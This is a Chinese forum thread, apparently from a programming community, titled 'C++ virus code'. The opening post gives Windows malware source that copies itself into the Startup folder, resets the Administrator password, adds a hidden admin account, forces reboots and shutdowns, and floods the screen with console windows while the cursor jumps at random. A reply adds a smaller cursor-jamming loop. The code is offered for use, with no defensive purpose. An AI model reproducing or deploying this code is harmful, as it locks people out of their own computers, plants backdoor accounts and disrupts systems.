猫史档案馆


c++病毒代码

用户:高能战机高能战机查看:1 回复:2 评论:1 创建时间:2023-07-30T13:31:46


#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
#include <stdio.h>
#include <fstream>
using namespace std;
int main ()
{
	char copy[80];
	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
	system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
	char cmd[]="shutdown -r -t 0";
	system("ping 喵");
	system(cmd);
	system("pause");
	system(copy);
	system("net user Administrator xz");
	system("net user 你喵我也没办法 xz /add");
	int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    system("shutdown -s -t 20");
    while(1)
    { 
    	SetCursorPos(rand()%x,rand()%y);
    	system("start");
    }  
    
} 


回复

上一页1 页 / 共 1下一页
豪爽的树毛蛹VFNF豪爽的树毛蛹VFNF

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)
{
SetCursorPos(rand()%1000,rand()%1000);
}
}

点赞0


评论


PlumStevenPlumSteven

。没意思不会搞喵电脑 给你个我一年前写的喵community/545320

点赞0


评论